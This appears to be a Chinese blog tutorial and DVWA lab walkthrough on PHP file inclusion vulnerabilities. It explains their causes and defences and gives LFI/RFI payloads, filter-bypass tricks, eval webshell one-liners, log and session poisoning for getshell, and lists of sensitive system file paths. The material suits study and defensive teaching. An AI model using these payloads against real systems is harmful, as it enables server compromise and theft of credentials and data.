总字符数: 21.17K
代码: 6.31K, 文本: 7.43K
预计阅读时间: 60 分钟
什么是文件包含?
开发人员将可重复使用的内容写到单个文件中,使用时直接调用此文件.
文件包含在PHP中非常常用,可以实现代码的模块化和重用.比如,将一些公共的函数或类单独放在一个文件中,在需要使用的时候通过文件包含即可使用这些函数或类,避免了重复编写代码的问题.
1 |
|
文件包含漏洞
开发人员追求代码灵活性,有时将包含的文件设置为变量,以实现动态调用.然而,这种灵活性可能导致攻击者调用恶意文件,产生文件包含漏洞.
文件包含漏洞(File Inclusion Vulnerability)是一种常见的网络安全漏洞,主要指的是Web应用程序未正确过滤用户提供的输入,使攻击者能够在应用程序中执行任意代码.
攻击者可通过文件包含漏洞访问不应公开访问的文件,包括系统文件和应用程序文件.如果攻击者成功获取敏感数据,如密码文件或数据库凭据,就能利用这些信息展开更广泛的攻击.
文件包含漏洞是一种代码注入漏洞,它引入了文件包含函数,通过这些函数将文件直接包含到代码中,以减少重复编写.简而言之,一个php文件包含了另一个或多个其他文件.
然而,问题在于除了包含常规的代码文件外,文件包含函数还会执行任意后缀的文件.如果允许用户控制包含文件路径的地方,就可能包含非预期的文件,进而执行非预期的代码,导致安全漏洞,比如getshell.
虽然几乎所有的脚本语言都提供文件包含功能,但文件包含漏洞在PHP Web应用程序中较为常见,而在JSP、ASP等语言中很少甚至没有这类问题,这主要是由于语言设计的弊端.因此,后续的说明将主要以PHP为例.
利用条件:
- include等函数通过动态执行变量的方式引入需要包含的文件
- 用户能控制输入,并控制该变量
**最常见的文件包含漏洞类型是本地文件包含漏洞(LFI)和远程文件包含漏洞(RFI). **
本地文件包含(LFI)
在文件包含漏洞的利用过程中,Web应用程序调用了本地(服务器上)的文件,称作本地文件包含
1 | target.xxx?file=/etc/hosts |
远程文件包含(RFI)
远程文件包含漏洞指的是Web应用程序在处理用户输入时,将用户提供的数据作为URL参数,未进行合理的过滤和验证.攻击者可以通过构造恶意的URL,使应用程序加载并执行攻击者指定的远程脚本,导致Web应用程序遭受攻击.
这些远程文件通常以 HTTP 或 FTP URI 的形式获取
1 | # eval.php |
1 | target.xxx?file=http://hacker_server/evil.php |
额外要求
要产生远程文件包含漏洞,在使用了特定函数和权限控制不严谨外,include
,require
等包含函数还必须可以加载远程文件
PHP的配置文件allow_url_fopen
和allow_url_include
设置为ON
1 | # 是否允许打开远程文件 |
文件包含漏洞产生的原因
文件包含漏洞通常是由于开发人员未充分验证和过滤用户输入,或者未正确使用文件包含函数而导致的.具体原因包括:
- 盲目相信用户输入: 开发人员在使用文件包含函数时,通常会将某个文件包含到当前 PHP 文件中以便代码复用.但如果没有对用户输入进行验证和过滤,攻击者可以通过构造恶意输入利用文件包含漏洞.
- 使用相对路径: 如果开发人员在使用文件包含函数时采用相对路径而非绝对路径,攻击者可以利用路径遍历漏洞来访问应用程序以外的文件或目录,从而实现文件包含漏洞.
- 盲目信任第三方代码: 如果开发人员使用第三方代码库,但未对这些代码进行充分审计和验证,就可能存在文件包含漏洞.
- 系统配置不当: 如果系统配置不当,例如允许用户上传文件并执行,就会增加文件包含漏洞的风险.
文件包含漏洞的危害
文件包含漏洞是一种常见的安全漏洞,攻击者可通过该漏洞读取或执行恶意代码,对系统造成以下危害:
- 数据泄露: 攻击者可利用文件包含漏洞读取应用程序的配置文件、日志文件、数据库凭据等敏感信息,导致用户数据泄露.
- 恶意代码执行: 攻击者可通过文件包含漏洞执行恶意代码,例如执行系统命令、注入恶意脚本、下载和运行恶意软件等,从而获得对系统的控制权(获取 webshell).
- 拒绝服务攻击: 攻击者可利用文件包含漏洞对系统进行拒绝服务攻击,发送大量请求占用系统资源,导致系统崩溃.
- 提权攻击: 攻击者可通过文件包含漏洞提升自身权限,访问系统文件、修改系统设置等,获取更高权限.
综上所述,文件包含漏洞的危害极为严重,可能导致数据泄露、恶意代码执行、拒绝服务攻击、提权攻击等严重后果.为规避文件包含漏洞,应采取多种措施,包括验证和过滤用户输入数据、使用绝对路径、不将用户输入作为代码执行、使用白名单机制、禁止远程文件包含和使用安全编码实践等.这些措施有助于提高系统的安全性.
文件包含漏洞通常与以下函数有关:
include()
函数:该函数会将指定文件包含到当前 PHP 文件中,并且执行包含的文件中的 PHP 代码.如果攻击者能够控制include()
函数的参数,就可以注入恶意代码并执行,从而利用文件包含漏洞.require()
函数:该函数与include()
函数类似,也会将指定文件包含到当前PHP文件中,并且执行包含的文件中的 PHP 代码.如果攻击者能够控制require()
函数的参数,就可以注入恶意代码并执行,从而利用文件包含漏洞.include_once()
和require_once()
函数:这两个函数与include()
函数和require()
函数类似,也会将指定文件包含到当前 PHP 文件中,并且执行包含的文件中的 PHP 代码.- 不同之处在于,如果文件已经被包含过,则不会再次包含.攻击者可以利用这两个函数的特性,通过改变包含文件的路径,来实现文件包含漏洞.
realpath()
函数:该函数可以将相对路径转换为绝对路径,攻击者可以利用这个函数来实现路径遍历漏洞,从而访问应用程序以外的文件或目录.
综上所述,文件包含漏洞通常与include()
函数、require()
函数、include_once()
和require_once()
函数、realpath()
函数等相关.
在编写 PHP 代码时,应该避免将用户输入作为这些函数的参数,或者在使用这些函数前,对参数进行验证和过滤,以避免文件包含漏洞的发生.
文件包含漏洞的防御
- 验证和过滤用户输入数据: 在读取文件名或路径时,要验证数据的合法性,只允许特定字符和路径,对输入数据进行过滤,如去除包含特殊字符的文件名、过滤不允许访问的目录等.
- 使用绝对路径: 建议使用绝对路径而非相对路径,以避免攻击者利用路径穿越漏洞访问应用程序以外的文件.
- 避免将用户输入作为代码执行: 不要将用户输入的数据直接传递给
eval()
、include()
、require()
等函数,以免攻击者注入恶意代码改变程序行为. - 使用白名单机制: 为文件和目录设置白名单机制,只允许访问指定文件或目录,预防攻击者通过路径遍历漏洞访问应用程序以外的文件或目录.
- 禁止远程文件包含: 如果必须使用
include()
函数包含远程文件,设置allow_url_include
参数为 0,避免远程文件被执行. - 使用安全编码实践: 采用安全编码实践,例如输入验证、参数化查询、错误处理等,以降低漏洞风险.
文件包含漏洞是常见的安全漏洞,攻击者通过该漏洞可读取或修改应用程序、系统文件和配置文件,执行任意系统命令,对系统造成威胁.为了防范文件包含漏洞,应该综合采取以上多种措施,提高系统的安全性.
DVWA靶场实战
打开DVWA文件包含页面(File Inclusion
)
我们发现,当我们点击file1.php
时,对应的URL的page
的值变为file1.php
,同时Web应用执行file1.php
文件的源代码;
1 | http://dvwa_ip/vulnerabilities/fi/?page=file1.php |
当我们点击file2.php
时,对应的URL的page
的值变为file2.php
,同时Web应用执行file2.php
文件的源代码;
1 | http://dvwa_ip/vulnerabilities/fi/?page=file2.php |
当我们点击file3.php
时,对应的URL的page
的值变为file3.php
,同时Web应用执行file3.php
文件的源代码.
1 | http://dvwa_ip/vulnerabilities/fi/?page=file3.php |
由此可知,当我们在目标URL的page
值后添加某个存在的文件名时,Web应用程序会相应的包含此文件.并且会将该文件(无论后缀名)作为PHP代码执行.
low
看一下源码
1 |
|
Web应用程序定义了一个变量page
,将用户输入的值作为page
变量的值,同时将其赋值给file
变量.最后,Web应用程序通过对file
变量的引用来实现文件的包含功能.
DVWA的low级别一般是不带有任何防护的, 没有对输入的page
变量的值执行任何过滤措施,如果我们输入那些系统不希望用户看见任何信息的文件的文件名,并赋值给page
变量.那么Web应用程序就会产生文件包含漏洞,系统的敏感信息就会被泄露.
payload1:本地–利用相对路径(许多个../
就一定会来到根目录)
1 | ../../../../../../../../../../../../../../../../etc/passwd |
payload2:本地–利用绝对路径
1 | /etc/passwd |
payload3:远程包含
由于DWVA的环境,Web应用可以包含远程文件
1 | http://localhost/DVWA/vulnerabilities/fi/?page=http://10.10.10.13:8080/phpinfo.txt |
medium
直接上源码
1 |
|
payload1:本地–绝对路径
如果我们不使用
../
与..\
这两个关键词,而是直接访问根目录下的用户信息文件/etc/passwd
.由于Web应用程序的过滤很不严谨,并没有对根目录
/
执行过滤,所以系统不能过滤我们输入的payload,那么Web应用程序将成功包含文件/etc/passwd
,并直接暴露其源代码.
即我们构造的payload成功的绕过了Web应用程序的防御机制.
1 | /etc/passwd |
payload2:远程–双写绕过
1 | hthttp://tp://server/file |
payload3:远程–大小写绕过
1 | hTtp://server/file |
payload4:远程本地皆可–使用http/https外的协议
1 | file:///etc/passwd |
high
看源码
1 |
|
补充一个知识点:
fnmatch()
函数的作用是根据指定的模式来匹配文件名或字符串.
语法为:fnmatch(pattern,string,flags)
各个参数解释如下:
pattern
必需.规定要检索的模式.string
必需.规定要检查的字符串或文件.flags
可选. 它是可选的参数表,用于指定标志或标志的组合.
这些标志可以是以下标志的组合:
FNM_PATHNAME
:用于指定字符串中的斜线仅匹配给定模式中的斜线.FNM_NOESCAPE
:用于禁用反斜杠转义.FNM_CASEFOLD
:用于无 shell 匹配.FNM_PERIOD
:用于指定字符串中的前导期间必须与给定模式中的期间完全匹配.
high
模式中进行了更为安全的白名单过滤,因此现在包含的东西必须要以file开头了
payload1:file协议
1 | file:///etc/passwd |
Getshell
data协议反弹Shell
1 | # 第一步:使用data写一小段PHP代码,可以接收参数 |
session与文件包含漏洞的结合
条件
- session的存储位置可以获取(phpinfo页面一般可以获取)
- session中的内容可以被控制,传入恶意代码
分析
1 |
|
我们发现此php会将获取到的GET型ctfs
变量的值存入到session中,也就是可以控制session中的内容
我们通过phpinfo页面发现了session的存储路径/var/lib/php/session
当访问http://ip/path/ctfs.php?ctfs=test
后,会在/var/lib/php/session
目录下存储session的值.
session的文件名为sess_+sessionid
,sessionid
可以通过开发者模式获取.
所以session的文件名为sess_iln6toir7r2t9su7ujnsfolb35
去服务器上查看,果然有该文件
利用
通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell.
1 | http://ip/path/ctfs.php?ctfs=%3C?php%20@eval($_POST['shell'])?%3E |
当访问以上链接的时候,Web应用会在/var/lib/php/session
目录下存储session的值(同时我们的webshell也被存进去了)
通过前端推测session储存的文件名sess_p44b454elq0mfe2vopqvfm7m37
通过文件包含的漏洞解析恶意代码
1 | http://ip/path/include.php?filename=/var/lib/php/session/sess_p44b454elq0mfe2vopqvfm7m37 |
通过webshell工具连接(方便使用你的shell)
我本地使用的是
AntSword
思考
实际上你只需把shell写到一个Web应用能访问的位置并利用文件包含漏洞进行解析就可以
这个写入的文件可以不考虑后缀,反正最后会被解析成PHP
包含日志文件
前提条件:要知道服务器日志的存储路径,且日志文件可读.
服务器一般回在Web Server的access_log里记录客户端的请求信息,在error_log里记录出错信息.所以攻击者可以间接地将PHP代码写入日志文件,在文件包含时,只需要包含日志文件即可.
但如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析.可以使用burp截包后修改.
正常的PHP代码已经写入了 D:\phpStudy\PHPTutorial\Apache\logs\error.log
.然后进行包含即可.
1 | http://192.168.91.134/include.php?test=D:\phpStudy\PHPTutorial\Apache\logs\error.log |
正常服务器中的日志文件位置:
1 | /var/log/nginx/access.log |
包含SSH log
**条件:**需要知道ssh-log的位置,且可读.默认情况下为 /var/log/auth.log
1 | # 用ssh连接 |
这是在服务器上的auth.log
文件上就会记录下如下内容:
再进行文件包含即可:
包含environ
proc/self/environ中会保存user-agent头.如果在user-agent中插入php代码,则php代码会被写入到environ中.之后再包含它,即可.
条件:
- php以cgi方式运行,这样environ才会保持UA头.
- environ文件存储位置已知,且environ文件可读.
1 | ?file=../../../../../../../proc/self/environ |
在访问的时候抓包把user-agent修改为<?php phpinfo();?>
即可.
这个没有尝试成功,这一个文件似乎没有user-agent???
包含临时文件
以上这些方法都要求PHP能过包含这些不处于Web目录下的文件,如果PHP设置了open_basedir,则很可能会使得攻击失效.
php中上传文件,会创建临时文件.在linux下使用/tmp
目录,而在windows下使用c:\winsdows\temp
目录.在临时文件被删除之前,利用条件竞争即可包含该临时文件.
由于包含需要知道包含的文件名.一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535种不同的文件名,所以这个方法是可行的.
或者利用phpinfo能查看临时文件名字的方法去进行利用:
文件包含漏洞常见绕过技巧
00字符截断
PHP版本<=5.3.4
magic_quotes_gpc = Off
1 | file=../../etc/passwd%00 |
1 |
|
这里固定了后缀名为php,可以使用截断的方式来访问我们想要的文件.
1 | ?a=info.php%00 |
%00
会被解析为0x00
,所以导致截断的发生 我们通过截断成功的绕过了后缀限制
路径长度截断
php版本小于5.3.10
文件路径有长度限制,目录字符串在Windows下256字节、Linux下4096字节时,会达到最大值,最大值之后的字符被丢弃.
1 | ././././././././././././abc.......... |
就是在后面接很多个.
,让后面的后缀抛弃掉.
目录遍历
可以使用../../../
这样的方式来返回到上层目录中,这种方式又被称为”目录遍历(Path Traversal)“.常见的目录遍历漏洞,还可以通过不同的编码方式来绕过一些服务器端的防御逻辑(WAF) :
1 | %2e%2e%2f -> ../ |
URL绕过
假设服务器后端给我们传入的文件加了指定的后面的内容,可以使用以下的方法进行绕过,假设后端给传入的内容拼接上/test/test.php
query(?)
1 | ?file=http://remoteaddr/remoteinfo.txt? |
则包含的文件为 http://remoteaddr/remoteinfo.txt?/test/test.php
问号后面的部分/test/test.php
,也就是指定的后缀被当作query从而被绕过.
fragment(#)
1 | ?file=http://remoteaddr/remoteinfo.txt%23 |
则包含的文件为http://remoteaddr/remoteinfo.txt#/test/test.php
问号后面的部分/test/test.php
,也就是指定的后缀被当作fragment从而被绕过.注意需要把#
进行url编码为%23
.
require_once绕过重复包含文件
原理:php源码分析 require_once 绕过不能重复包含文件的限制 (太长看不懂系列)
PHP最新版的小Trick, require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含
/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过.
1 | root@ubuntu:/var/log/apache2# cd /proc/self/root/ |
可以看到这里/proc/self/root/
和/
指向的目录是一样的.
example:
1 | ?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php |
这样就可以绕过require_once()
只能包含一次相同文件的限制.
php://filter绕过exit
有时候后端会对我们输入的代码前面加上一段exit()
函数,使得我们写入的代码无法执行,这时候如果可以使用php://filter
伪协议对内容进行编码解码,即可绕过
文件包含漏洞常见的伪协议
文件包含漏洞常常是由于应用程序对用户输入的文件路径参数没有充分验证和过滤,而导致攻击者可以构造特殊的文件路径参数来读取、执行或包含应用程序中的敏感文件.攻击者可以利用多种伪协议来构造恶意的文件路径参数,以下是常见的伪协议:
php:// 输入输出流
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器.
php://filter
元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写.
用法
1 | php://filter/read=convert.base64-encode/resource=你要读取的东西 |
过程
1 | http://ip/path/include.php?filename=php://filter/read=convert.base64-encode/resource=你要读取的东西 |
如果在某些场合发现明明存在文件包含漏洞但是某些东西无法读取的话,
可以base64编码解决
条件
只是读取,需要开启 allow_url_fopen
,不需要开启 allow_url_include
;
phar://伪协议
这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压.
用法
1 | ?file=phar://压缩包/内部文件 |
注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用.
过程
写一个php文件,然后用zip压缩为zip文件,然后将后缀改为png等其他格式,然后传入服务器.
然后再通过文件上传漏洞和phar://
伪协议解析
同理,也可以通过这种思路进行getshell,
将php文件中的phpinfo的代码改为一句话木马即可
1 | eval($_POST['shell']) @ |
zip伪协议
zip伪协议和phar协议类似,但是用法不一样.
用法
1 | file=zip://[压缩文件]#[压缩文件内的子文件名] |
条件
PHP > =5.3.0
#在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符.
过程
依旧是先上传,再利用文件包含漏洞进行解析
1 | http://ip/path/include.php?filename=zip://info.jpg%23info.php |
和phar一样,可shell
php://input
可以访问请求的原始数据的只读流.即可以直接读取到POST上没有经过解析的原始数据. enctype=”multipart/form-data” 的时候 php://input 是无效的.
用法
1 | ?file=php://input |
数据利用POST传过去.
条件
php配置文件中需同时开启 allow_url_fopen
和 allow_url_include
(PHP < 5.3.0),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行.
过程
如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马
1 | fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>'); PHP |
注意:当前目录Web应用工作的用户必须要有写权限,否则写不了
发送POST包
1 | POST /test/include.php?filename=php://input |
然后用你的Webshell工具连接即可
REF
https://www.php.cn/php-weizijiaocheng-481803.html
补充:系统中的敏感路径
常见的敏感路径:
- Windows
C:\boot.ini
查看系统版本C:\windows\system32\inetsrv\MetaBase.xml
IIS 配置文件C:\windows\repair\sam
存储windows系统初次安装的密码C:\Program Files\mysql\my.ini
mysql 配置C:\Program Files\mysql\data\mysql\user.MYD
Mysql rootC:\windows\php.ini
php 配置信息C:\windows\my.ini
mysql 配置文件
- UNIX/Linux
/etc/passwd
/usr/local/app/apache2/conf/httpd.conf
apache2 默认配置文件/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
虚拟网站设置/usr/local/app/php5/lib/php.ini
PHP 相关配置/etc/httpd/conf/httpd.conf
apache/etc/php5/apache2/php.ini
ubuntu 系统的默认路径
日志默认路径
- apache+Linux 日志默认路径
/etc/httpd/logs/access_log
或者/var/log/httpd/access_log
- apache+win2003 日志默认路径
D:\xampp\apache\logs\access.log
,D:\xampp\apache\logs\error.log
- IIS6.0+win2003 默认日志文件
C:\WINDOWS\system32\Logfiles
- IIS7.0+win2003 默认日志文件
%SystemDrive%\inetpub\logs\LogFiles
- nginx 日志文件
日志文件在用户安装目录 logs 目录下,以我的安装路径为例/usr/local/nginx
,
那我的日志目录就是在/usr/local/nginx/logs
里
web 中间件默认配置
- apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf
或者index.php?page=/etc/init.d/httpd
- IIS6.0+win2003 配置文件
C:/Windows/system32/inetsrv/metabase.xml
- IIS7.0+WIN 配置文件
C:\Windows\System32\inetsrv\config\applicationHost.config
P.S. burp的intruder里面自带一些路径
Javaweb:文件包含(扩展)
以为只有PHP中存在文件包含漏洞?
不不不~~ :)
实际上只要存在文件包含的功能,无论语言都有可能存在这样的问题,
而且利用的逻辑基本上是相同的
漏洞复习
在目标机器上起一个Tomcat环境
新建一个test.jsp
,
输入以下代码搭建一个简单的javaweb文件包含漏洞环境
1 | <!--输出提示--> |
给payload参数传你想要包含的路径
1 | http://ip:8080/path/test.jsp?payload=文件名 |
在test.jsp
的相同目录新建一个1.jsp
1 | <%@ page import="java.util.*,java.io.*"%> |
然后访问
1 | http://ip:8080/path/test.jsp?payload=1.jsp |
让1.jsp被包含
注意事项
在本实验中被包含文件后缀会被识别,不会强制当成jsp代码执行,另外一种包含的方式<%@include file='文件'%>
可以…但是file后面的东西必须是字符串,不能是变量,因此无法造成文件包含漏洞…
由此可见,Javaweb在这方面的安全性比PHP会高一些
总结
文件包含漏洞是一种常见的Web应用程序安全漏洞,它可以导致攻击者能够访问敏感文件、执行任意代码或获取系统权限.攻击者可以利用这些漏洞在Web服务器上执行恶意代码,获取系统权限,并在服务器上进行不良操作.
文件包含漏洞的根本原因是没有正确地对用户输入进行过滤和验证,或者没有正确地处理文件路径.为了防止文件包含漏洞,开发人员应该采取一些最佳实践,例如使用白名单而不是黑名单、验证输入和转义特殊字符等.
在Web应用程序的设计和开发过程中,开发人员应该始终考虑安全性,并确保采用了最佳的安全实践.对于现有的Web应用程序,开发人员应该对其进行安全评估,以识别并修复可能存在的漏洞.最后,定期更新服务器上的软件和操作系统以及应用程序代码,以确保Web应用程序的安全性.